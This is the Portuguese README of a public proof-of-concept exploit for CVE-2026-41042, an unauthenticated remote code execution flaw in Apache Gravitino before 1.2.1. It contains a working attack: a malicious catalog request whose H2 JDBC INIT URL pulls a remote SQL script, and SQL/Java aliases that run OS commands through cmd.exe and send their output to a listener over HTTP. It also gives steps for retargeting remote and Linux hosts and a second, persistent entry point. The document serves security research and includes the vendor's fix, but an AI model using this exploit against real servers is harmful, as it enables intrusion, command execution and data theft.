
Explora RCE não autenticado no Apache Gravitino < 1.2.1 via H2 JDBC INIT; hospeda payloads SQL/Java, executa comandos e exfiltra a saída por meio de beacon HTTP.
Prova de conceito autocontida, apenas com biblioteca padrão, para CVE-2026-41042: execução remota de código não autenticada no Apache Gravitino anterior à versão 1.2.1 por meio da configuração de conexão H2 JDBC INIT. Sem cabeçalhos de autenticação, sem drivers extras, sem instalações pip.
python3 poc_cve-2026-41042.py http://127.0.0.1:8090 --metalake test_ml --cmd whoami
O script hospeda o payload SQL e um beacon de saída, dispara a requisição testConnection e imprime diretamente o stdout do comando.
CVE atribuída em 08/07/2026, creditada a Junjie Li (Universidade de Xidian). Esta é a primeira PoC pública funcional para o problema. PoC por Akinlabi.
| Vulnerável | Apache Gravitino < 1.2.1 (gravitino-catalog-jdbc-common) |
| Corrigida | 1.2.1 |
| Aviso | https://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvm |
O H2 1.4.200 acompanha o Gravitino em libs/ como backend padrão do entity-store, portanto o driver H2 já está no classpath do servidor. Nenhum driver extra precisa ser implantado para que o exploit funcione.
POST /api/metalakes/{metalake}/catalogs/testConnection (recurso Jersey org.apache.gravitino.server.web.rest.CatalogOperations#testConnection, produz application/vnd.gravitino.v1+json) aceita um CatalogCreateRequest. O valor properties.jdbc-url é passado para a factory de conexão do provedor de catálogo sem validação do driver JDBC.
Usar o driver H2 incluído (org.h2.Driver) em conjunto com a configuração de conexão H2 INIT executa SQL arbitrário no momento da conexão, e CREATE ALIAS compila e executa Java arbitrário no servidor. O endpoint não exige autenticação.
Requisitos: Python 3, apenas biblioteca padrão.
python3 poc_cve-2026-41042.py <target> [--metalake NAME] [--cmd CMD] [--port PORT]
| Opção | Padrão | Descrição |
|---|---|---|
target | (obrigatório) | Servidor Gravitino, ex.: http://127.0.0.1:8090 |
--metalake | test_ml | Metalake sob o qual o catálogo será testado |
--cmd | whoami | Comando a executar no alvo |
--port | 9000 | Porta local para o servidor HTTP do payload + beacon |
Exemplos:
# Default run: whoami against the test_ml metalake
python3 poc_cve-2026-41042.py http://127.0.0.1:8090
# Custom command against a named metalake
python3 poc_cve-2026-41042.py http://10.0.0.5:8090 --metalake zeroauth_ml --cmd "ipconfig"
Se o metalake não existir, crie um primeiro (também sem autenticação):
curl -X POST http://<target>:8090/api/metalakes \
-H "Content-Type: application/json" \
-d '{"name":"test_ml"}'
127.0.0.1 com duas rotas: /poc.sql serve o payload gerado, /beacon?out=... captura a saída do comando.{
"name": "h2rce",
"type": "RELATIONAL",
"provider": "jdbc-mysql",
"properties": {
"jdbc-url": "jdbc:h2:mem:t3f9a2c1;INIT=RUNSCRIPT FROM 'http://127.0.0.1:9000/poc.sql'",
"jdbc-user": "sa",
"jdbc-password": "",
"jdbc-driver": "org.h2.Driver"
}
}
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String l; StringBuilder sb = new StringBuilder();
while ((l = br.readLine()) != null) sb.append(l).append("\n");
br.close();
return sb.toString();
}
$$;
CREATE ALIAS IF NOT EXISTS BEACON AS $$
String beacon(String s) throws java.io.IOException {
java.net.URL u = new java.net.URL("http://127.0.0.1:9000/beacon?out=" + java.net.URLEncoder.encode(s, "UTF-8"));
u.openConnection().getInputStream().close();
return s;
}
$$;
CALL BEACON(SHELLEXEC('whoami'));
SHELLEXEC executa o comando e retorna seu stdout como string; BEACON o exfiltra para o listener via HTTP; o script consulta o beacon por até 5 segundos e imprime a saída.
jdbc-mysql (checkJDBCDriverVersion) é acionada após a inicialização da conexão, então o erro é apenas cosmético: o INIT já foi executado. O caminho de erro é o caminho de execução.Um nome de banco de dados em memória aleatório é gerado a cada execução (secrets.token_hex(6)), portanto os aliases do H2 nunca persistem entre execuções e toda execução é determinística.
O mesmo jdbc-url malicioso também funciona por meio de POST /api/metalakes/{ml}/catalogs, que retorna HTTP 200 e persiste a URL H2 INIT na configuração do catálogo. Qualquer operação posterior que force uma conexão dispara a execução no momento da inicialização:
GET /api/metalakes/test_ml/catalogs/catreal/schemas
Ambos os pontos de entrada passam pelo mesmo caminho initialize() -> DataSourceUtils.createDataSource, portanto a correção 1.2.1 cobre ambos.
DataSourceUtils.createDataSource agora bloqueia URLs e drivers H2 (commits 84d3de9c7c / 5daabcd0e, verificado na árvore 1.3.0):
String decodedUrl = recursiveDecode(jdbcConfig.getJdbcUrl().toLowerCase());
if (decodedUrl.startsWith("jdbc:h2")) {
throw new GravitinoRuntimeException("H2 JDBC URL is not allowed in catalog configuration");
}
if (jdbcConfig.getJdbcDriver().toLowerCase().startsWith("org.h2.")) {
throw new GravitinoRuntimeException("H2 JDBC driver is not allowed in catalog configuration");
}
recursiveDecode executa URLDecoder até 5 vezes, então percent-encodar o prefixo não burla a verificação. JdbcUrlUtils.validateJdbcConfig (também chamado a partir de createDBCPDataSource) adicionalmente bloqueia parâmetros MySQL/MariaDB/PostgreSQL conhecidos como inseguros (autoDeserialize, allowLoadLocalInfile, socketFactory e afins).
Tentativas de bypass testadas contra uma réplica da verificação com H2 1.4.200 real: espaços em branco no início e no fim, percent-encoding 6x+, truques de maiúsculas/minúsculas e tabulação, truques de sufixo e provedores não-JDBC. Nenhum bypass limpo foi encontrado; o vetor H2 parece solidamente corrigido na 1.2.1.
A Apache classifica isso como baixo, citando o H2 como apenas dev/teste e o Gravitino como tipicamente interno. A instalação padrão contradiz isso:
testConnection e createCatalog são não autenticados quando gravitino.authorization.enable=false, que é o padrão0.0.0.0:8090Estimativa realista de CVSS v3.1: ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), sujeita à alcançabilidade da porta do Gravitino.
127.0.0.1. Isso corresponde a um laboratório onde atacante e alvo compartilham o mesmo host. Para um alvo remoto, altere as referências a 127.0.0.1 em make_payload() e exploit() para o IP do seu listener.cmd.exe /c (laboratório Windows). Em alvos Linux, troque a linha new String[]{"cmd.exe", "/c", cmd} por /bin/sh -c.createCatalog não é automatizado neste script; use a requisição manual acima.Apenas para testes de segurança autorizados e pesquisa. Todas as técnicas aqui foram desenvolvidas e verificadas em laboratório local. Apontar isto para um sistema que você não possui pode ser ilegal na sua jurisdição.